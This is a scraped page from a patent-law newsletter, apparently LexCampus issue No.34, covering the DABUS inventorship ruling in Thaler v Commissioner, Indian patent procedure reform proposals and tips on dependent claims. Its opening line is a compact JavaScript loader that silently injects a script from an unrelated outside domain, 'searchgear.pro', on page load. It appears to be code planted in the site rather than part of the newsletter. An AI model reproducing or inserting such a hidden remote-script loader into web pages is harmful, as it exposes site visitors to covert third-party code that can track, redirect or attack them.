;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Thaler v. Commissioner, Procedural Relaxations in Patents Act, Drafting a Patent - LexCampus

Thaler v. Commissioner, Procedural Relaxations in Patents Act, Drafting a Patent

The LexCampus Weekly Newsletter No.34
25th August, 2021

This week we discuss the landmark case from Australia where a federal court ruled that DABUS, an AI device, is capable of being recognised as an inventor. This judgement is a watershed moment in the evolution of intellectual property laws on a global scale. The blog post this week discusses the suggestions of the Parliamentary Committee Report, with focus on the procedural relaxations recommended by them. We also offer a final few tips on drafting dependent claims in a patent.


Thaler v Commissioner of Patents
[2021] FCA 879

Dr. Thaler filed a patent application in Australia naming DABUS as the inventor of a new variety of food containers which had enhanced grip and more efficient heat transfer. The Deputy Commissioner rejected the application since DABUS was a non human inventor, and a non-person. Thaler, then filed an application with the federal court to set aside this order. Read more


Procedural relaxations in patent filing

The Parliamentary Committee Report on evaluating the IPR regime in India dated 23rd July, 2021 has been tabled in both Houses of the Parliament. The Report has been the subject of study amongst various IP scholars. The Report has made several recommendations regarding amendment of substantial provisions to the Patents Act. part from the above mentioned amendments to definitions and patentable subject matter, several changes have also been made to the procedural aspects of the statute. This article shall discuss the highlights of the procedural amendment recommendations and analyse the same. Read more


  • Care must be taken to define the scope of the dependent claim equivalent to the parent claim’s. A dependent claim if drafted with a scope broader than that of the parent claim, will be invalidated.
  • A dependent claim cannot be so worded as to subtract elements from the parent claim. This ensures that the parent claim and the dependent claim are never infringed without the other being infringed.

That’s all folks for this week.

Team LexCampus

Leave a Comment

Your email address will not be published. Required fields are marked *

Want to Learn Patent Law?

The most in-depth online course in Patent Law in India at the most affordable price of just Rs.199 per month.


Firstly it changed the approach of looking at the subject. At the first instance bare act seemed dry. The lecture series actually explained 'why' of the topic and statutes. Which helped in understanding the way the things are .

Nachiket Galgali

To receive updates on Patent Case Laws, Patent Articles, Patent Q&A & more in your inbox, subscribe to our free newsletter.